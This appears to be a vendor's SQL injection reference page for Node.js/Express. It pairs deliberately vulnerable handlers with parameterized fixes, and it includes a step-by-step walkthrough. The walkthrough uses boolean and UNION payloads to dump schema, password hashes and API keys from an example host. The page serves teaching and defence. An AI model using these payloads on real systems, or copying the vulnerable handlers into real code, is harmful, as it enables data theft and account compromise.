SQL Injection
SQL Injection at a glance
Overview
SQL injection happens when applications mix untrusted data with SQL syntax. Attackers manipulate parameters to change WHERE clauses, inject unions, or modify ORDER BY and LIMIT logic. Correct fixes use bound parameters for values, strict whitelisting for identifiers, and defensive DB settings such as least privilege and safe error handling.
Where it occurs
It occurs in database queries built with string concatenation or raw SQL methods without parameter binding, especially in custom authentication or query logic.
Impact
Attackers can query or modify data, create admin users, extract secrets, and in some cases pivot to RCE through dangerous DB functions or extensions.
Prevention
Prevent SQL injection by using prepared statements for all values, whitelisting identifiers, escaping special characters for LIKE, suppressing detailed SQL errors, and enforcing least-privilege database roles for reads and writes.
Examples
Switch tabs to view language/framework variants.
Building SQL with string concatenation enables injection in WHERE
The handler interpolates a query param into SQL, allowing boolean bypass or stacked statements if enabled.
const mysql = require('mysql2/promise');
app.get('/users', async (req,res)=>{
const name = req.query.q || '';
const sql = "SELECT id,name FROM users WHERE name LIKE '%" + name + "%'"; // BUG
const [rows] = await db.execute(sql);
res.json(rows);
});- Line 4: User input concatenated into SQL
Concatenating untrusted input into SQL lets attackers change query logic.
app.get('/users', async (req,res)=>{
const q = String(req.query.q || '').slice(0,64);
const like = `%${q.replace(/[%_]/g, '\\$&')}%`;
const [rows] = await db.execute('SELECT id,name FROM users WHERE name LIKE ? ESCAPE \\n', [like]);
res.json(rows);
});- Line 4: Parameterized query with escaped LIKE pattern and ESCAPE clause
Use parameters for values and escape special characters when using LIKE.
Engineer Checklist
-
Use parameterized queries for all values
-
Whitelist column names, sort directions, and table names when exposed
-
Escape
%and_with ESCAPE clause for LIKE patterns -
Disable detailed SQL error messages in production
-
Run with least-privilege DB credentials and separate read from write roles
-
Add tests that try known injection probes on all SQL entry points
End-to-End Example
A search endpoint concatenates the q parameter into a LIKE clause. Attackers craft input that breaks out of the pattern and forces a true condition, returning all rows.
// Node.js/Express - Vulnerable to SQL Injection
const mysql = require('mysql2/promise');
// VULNERABLE: Search with string concatenation
app.get('/users', async (req, res) => {
const q = req.query.q || '';
// VULNERABLE: String interpolation allows SQL injection!
// Attacker sends: ?q=' OR '1'='1
// Resulting query: SELECT id, name FROM users WHERE name LIKE '%' OR '1'='1%'
// Returns ALL users!
const sql = `SELECT id, name FROM users WHERE name LIKE '%${q}%'`;
const [rows] = await db.query(sql);
res.json(rows);
});
// VULNERABLE: Login authentication
app.post('/login', async (req, res) => {
const { email, password } = req.body;
// VULNERABLE: String concatenation in WHERE clause
// Attacker sends email: admin' --
// Resulting query: SELECT * FROM users WHERE email = 'admin' --' AND password = 'x'
// The -- comments out the password check!
const sql = `SELECT * FROM users WHERE email = '${email}' AND password = '${password}'`;
const [users] = await db.query(sql);
if (users.length > 0) {
req.session.userId = users[0].id;
res.json({ message: 'Login successful' });
} else {
res.status(401).json({ error: 'Invalid credentials' });
}
});
// VULNERABLE: Sorting parameter
app.get('/products', async (req, res) => {
const sortBy = req.query.sort || 'name';
const order = req.query.order || 'ASC';
// VULNERABLE: ORDER BY clause injection
// Attacker sends: ?sort=(CASE WHEN (SELECT COUNT(*) FROM users WHERE id=1) > 0 THEN price ELSE name END)
// Can extract data via timing or boolean conditions
const sql = `SELECT id, name, price FROM products ORDER BY ${sortBy} ${order}`;
const [rows] = await db.query(sql);
res.json(rows);
});
// VULNERABLE: Batch delete
app.delete('/api/orders', async (req, res) => {
const ids = req.body.ids; // Array like [1, 2, 3]
// VULNERABLE: IN clause with string join
// Attacker sends: ids = ["1) OR 1=1 --"]
// Resulting query: DELETE FROM orders WHERE id IN (1) OR 1=1 --)
// Deletes ALL orders!
const sql = `DELETE FROM orders WHERE id IN (${ids.join(',')})`;
await db.query(sql);
res.json({ message: 'Orders deleted' });
});
// VULNERABLE: Dynamic table name
app.get('/api/reports/:table', async (req, res) => {
const tableName = req.params.table;
const limit = req.query.limit || 100;
// VULNERABLE: Table name injection
// Attacker sends: /api/reports/users UNION SELECT password,email,null FROM admin_users--
// Can query any table and combine results
const sql = `SELECT * FROM ${tableName} LIMIT ${limit}`;
const [rows] = await db.query(sql);
res.json(rows);
});
// VULNERABLE: LIMIT clause injection
app.get('/api/users/paginated', async (req, res) => {
const page = parseInt(req.query.page) || 0;
const size = parseInt(req.query.size) || 10;
// VULNERABLE: Even with parseInt, can inject via OFFSET
// Attacker manipulates query structure
const offset = page * size;
const sql = `SELECT id, name FROM users LIMIT ${size} OFFSET ${offset}`;
const [rows] = await db.query(sql);
res.json(rows);
});
// VULNERABLE: JSON field query (NoSQL-style queries in SQL)
app.post('/api/search-metadata', async (req, res) => {
const field = req.body.field;
const value = req.body.value;
// VULNERABLE: JSON_EXTRACT with user input
// Attacker can inject malicious JSON paths
const sql = `SELECT * FROM documents WHERE JSON_EXTRACT(metadata, '$.${field}') = '${value}'`;
const [rows] = await db.query(sql);
res.json(rows);
});// Node.js/Express - Secure SQL queries with parameterization
const mysql = require('mysql2/promise');
// SECURE: Search with parameterized query
app.get('/users', async (req, res) => {
const q = req.query.q || '';
// SECURE: Validate and limit input length
if (q.length > 100) {
return res.status(400).json({ error: 'Search query too long' });
}
// SECURE: Escape LIKE special characters (% _)
const escapedQ = q.replace(/[%_\\]/g, '\\$&');
const pattern = '%' + escapedQ + '%';
// SECURE: Use parameterized query with placeholders
// Database driver handles proper escaping automatically
const sql = 'SELECT id, name FROM users WHERE name LIKE ?';
const [rows] = await db.query(sql, [pattern]);
res.json(rows);
});
// SECURE: Login authentication with prepared statements
app.post('/login', async (req, res) => {
const { email, password } = req.body;
// SECURE: Input validation
if (!email || !password) {
return res.status(400).json({ error: 'Email and password required' });
}
// SECURE: Parameterized query - no string concatenation!
// Placeholders (?) prevent SQL injection
const sql = 'SELECT id, password_hash FROM users WHERE email = ?';
const [users] = await db.query(sql, [email]);
if (users.length === 0) {
return res.status(401).json({ error: 'Invalid credentials' });
}
// SECURE: Compare password hash (never store plaintext)
const validPassword = await bcrypt.compare(password, users[0].password_hash);
if (validPassword) {
req.session.userId = users[0].id;
res.json({ message: 'Login successful' });
} else {
res.status(401).json({ error: 'Invalid credentials' });
}
});
// SECURE: Sorting with allow-list
app.get('/products', async (req, res) => {
const sortBy = req.query.sort || 'name';
const order = req.query.order || 'ASC';
// SECURE: Validate sort column against allow-list
const ALLOWED_SORT_COLUMNS = ['name', 'price', 'created_at', 'category'];
if (!ALLOWED_SORT_COLUMNS.includes(sortBy)) {
return res.status(400).json({ error: 'Invalid sort column' });
}
// SECURE: Validate sort order
const ALLOWED_ORDER = ['ASC', 'DESC'];
if (!ALLOWED_ORDER.includes(order.toUpperCase())) {
return res.status(400).json({ error: 'Invalid sort order' });
}
// SECURE: Build query with validated identifiers
// Column names can't be parameterized, but we validated them
const sql = `SELECT id, name, price FROM products ORDER BY ${sortBy} ${order.toUpperCase()}`;
const [rows] = await db.query(sql);
res.json(rows);
});
// SECURE: Batch delete with parameterized IN clause
app.delete('/api/orders', async (req, res) => {
const ids = req.body.ids;
// SECURE: Validate input
if (!Array.isArray(ids) || ids.length === 0) {
return res.status(400).json({ error: 'Invalid IDs array' });
}
if (ids.length > 100) {
return res.status(400).json({ error: 'Too many IDs (max 100)' });
}
// SECURE: Validate each ID is an integer
const validIds = ids.filter(id => Number.isInteger(id) && id > 0);
if (validIds.length === 0) {
return res.status(400).json({ error: 'No valid IDs provided' });
}
// SECURE: Create parameterized placeholders for IN clause
const placeholders = validIds.map(() => '?').join(',');
const sql = `DELETE FROM orders WHERE id IN (${placeholders}) AND user_id = ?`;
// SECURE: Pass validated IDs as parameters
const [result] = await db.query(sql, [...validIds, req.session.userId]);
res.json({ message: 'Orders deleted', count: result.affectedRows });
});
// SECURE: Dynamic table with allow-list
app.get('/api/reports/:table', async (req, res) => {
const tableName = req.params.table;
const limit = parseInt(req.query.limit) || 100;
// SECURE: Table name allow-list
const ALLOWED_TABLES = {
'orders': 'orders',
'products': 'products',
'users': 'users'
};
if (!ALLOWED_TABLES[tableName]) {
return res.status(400).json({ error: 'Invalid table name' });
}
// SECURE: Validate limit
if (!Number.isInteger(limit) || limit < 1 || limit > 1000) {
return res.status(400).json({ error: 'Invalid limit' });
}
// SECURE: Use validated table name from allow-list
const safeTable = ALLOWED_TABLES[tableName];
// SECURE: Parameterize LIMIT
const sql = `SELECT * FROM ${safeTable} LIMIT ?`;
const [rows] = await db.query(sql, [limit]);
res.json(rows);
});
// SECURE: Pagination with parameterized values
app.get('/api/users/paginated', async (req, res) => {
const page = parseInt(req.query.page) || 0;
const size = parseInt(req.query.size) || 10;
// SECURE: Validate pagination parameters
if (!Number.isInteger(page) || page < 0) {
return res.status(400).json({ error: 'Invalid page number' });
}
if (!Number.isInteger(size) || size < 1 || size > 100) {
return res.status(400).json({ error: 'Invalid page size (1-100)' });
}
const offset = page * size;
// SECURE: Use parameterized LIMIT and OFFSET
const sql = 'SELECT id, name FROM users LIMIT ? OFFSET ?';
const [rows] = await db.query(sql, [size, offset]);
res.json(rows);
});
// SECURE: JSON field query with validation
app.post('/api/search-metadata', async (req, res) => {
const field = req.body.field;
const value = req.body.value;
// SECURE: Allow-list JSON field paths
const ALLOWED_FIELDS = ['category', 'author', 'tags', 'status'];
if (!ALLOWED_FIELDS.includes(field)) {
return res.status(400).json({ error: 'Invalid field' });
}
// SECURE: Validate value
if (typeof value !== 'string' || value.length > 100) {
return res.status(400).json({ error: 'Invalid value' });
}
// SECURE: Build JSON path safely with validated field
const jsonPath = `$.${field}`;
// SECURE: Parameterize the value
const sql = 'SELECT * FROM documents WHERE JSON_EXTRACT(metadata, ?) = ?';
const [rows] = await db.query(sql, [jsonPath, value]);
res.json(rows);
});
// SECURE: Using ORM for additional safety (e.g., Sequelize)
const { Sequelize, Model, DataTypes } = require('sequelize');
class User extends Model {}
User.init({
id: { type: DataTypes.INTEGER, primaryKey: true },
name: DataTypes.STRING,
email: DataTypes.STRING
}, { sequelize, modelName: 'user' });
app.get('/api/users-orm', async (req, res) => {
const searchTerm = req.query.q || '';
// SECURE: ORM handles parameterization automatically
const users = await User.findAll({
where: {
name: {
[Sequelize.Op.like]: `%${searchTerm}%`
}
},
limit: 100
});
res.json(users);
});
// SECURE: Least privilege database user
// Configure database connection with read-only user for read operations
const readOnlyDb = mysql.createPool({
host: process.env.DB_HOST,
user: process.env.DB_READ_USER, // User with only SELECT privilege
password: process.env.DB_READ_PASSWORD,
database: process.env.DB_NAME
});
app.get('/api/public-products', async (req, res) => {
// SECURE: Use read-only connection for public queries
// Even if injection occurs, can't modify data
const sql = 'SELECT id, name, price FROM products WHERE published = ?';
const [rows] = await readOnlyDb.query(sql, [true]);
res.json(rows);
});Discovery
Test the search parameter with SQL special characters and payloads to confirm string concatenation and identify injection type (error-based, boolean-based, UNION-based, or time-based blind).
-
1. Test for SQL syntax errors
httpAction
Submit single quote to trigger SQL syntax error
Request
GET https://app.example.com/users?q=test'Response
Status: 500Body:{ "error": "Internal Server Error", "message": "ER_PARSE_ERROR: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''test''' at line 1", "sql": "SELECT id, name FROM users WHERE name LIKE '%test'%'" }Artifacts
sql_syntax_error query_disclosure mysql_version_hint -
2. Confirm boolean-based injection
httpAction
Test with boolean conditions to confirm SQL injection
Request
GET https://app.example.com/users?q=%' OR '1'='1Response
Status: 200Body:[ { "id": 1, "name": "Alice Johnson" }, { "id": 2, "name": "Bob Smith" }, { "id": 3, "name": "Charlie Davis" }, { "id": 4, "name": "Diana Martinez" }, { "id": 5, "name": "admin" }, "... (125 total users returned - all users in database)" ]Artifacts
boolean_injection_confirmed full_table_dump admin_account_disclosed -
3. Test UNION-based extraction
httpAction
Attempt UNION SELECT to determine column count
Request
GET https://app.example.com/users?q=%' UNION SELECT NULL,NULL--Response
Status: 200Body:[ { "id": 1, "name": "Alice Johnson" }, { "id": "NULL", "name": "NULL" } ]Artifacts
union_injection_confirmed column_count_identified data_exfiltration_possible
Exploit steps
Attacker uses UNION-based SQL injection to extract database structure, then dumps sensitive tables including user credentials and API keys.
-
1. Enumerate database structure
Extract table and column names
httpAction
Use UNION SELECT to query information_schema for database structure
Request
GET https://app.example.com/users?q=%' UNION SELECT table_name,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_schema=DATABASE() GROUP BY table_name--Response
Status: 200Body:[ { "id": "users", "name": "id,username,email,password_hash,role,created_at" }, { "id": "api_keys", "name": "id,service_name,api_key,api_secret,created_at" }, { "id": "sessions", "name": "id,user_id,token,expires_at" }, { "id": "payments", "name": "id,user_id,amount,card_last4,stripe_customer_id" } ]Artifacts
database_schema sensitive_table_names column_enumeration -
2. Extract user credentials
Dump usernames and password hashes
httpAction
Use UNION to extract all usernames and password hashes
Request
GET https://app.example.com/users?q=%' UNION SELECT username,password_hash FROM users--Response
Status: 200Body:[ { "id": "admin", "name": "$2b$10$N9qo8uLOickgx2ZMRZoMye..." }, { "id": "alice.johnson", "name": "$2b$10$rXt5OiZKJx8yZTp9Aa2F0u..." }, { "id": "bob.smith", "name": "$2b$10$wY8KpT5bNc3Hx9Tz2Lp8Ru..." }, "... (125 users with bcrypt hashes - ready for offline cracking)" ]Artifacts
user_credentials bcrypt_hashes admin_account -
3. Steal API keys and secrets
Extract third-party API credentials
httpAction
Dump api_keys table containing service credentials
Request
GET https://app.example.com/users?q=%' UNION SELECT service_name,CONCAT(api_key,':',api_secret) FROM api_keys--Response
Status: 200Body:[ { "id": "Stripe", "name": "sk_live_51HxYz...:whsec_abc123..." }, { "id": "AWS", "name": "AKIAIOSFODNN7EXAMPLE:wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLE" }, { "id": "SendGrid", "name": "SG.xYz789...:n/a" }, { "id": "Twilio", "name": "ACa1b2c3...:auth_token_xyz" } ]Artifacts
stripe_secret_key aws_credentials sendgrid_api_key twilio_credentials
Specific Impact
User directory is exposed, enabling targeted phishing and abuse of other systems.
Further chaining may allow editing records or dumping sensitive tables if write or admin privileges are available.
Fix
Replace string concatenation with prepared statements. Escape LIKE metacharacters, and add allow lists for any identifier positions such as column names for ORDER BY. Limit DB user privileges so even if a query is abused, the blast radius stays small.
Detect This Vulnerability in Your Code
Sourcery automatically identifies sql injection vulnerabilities and many other security issues in your codebase.
Scan Your Code for Free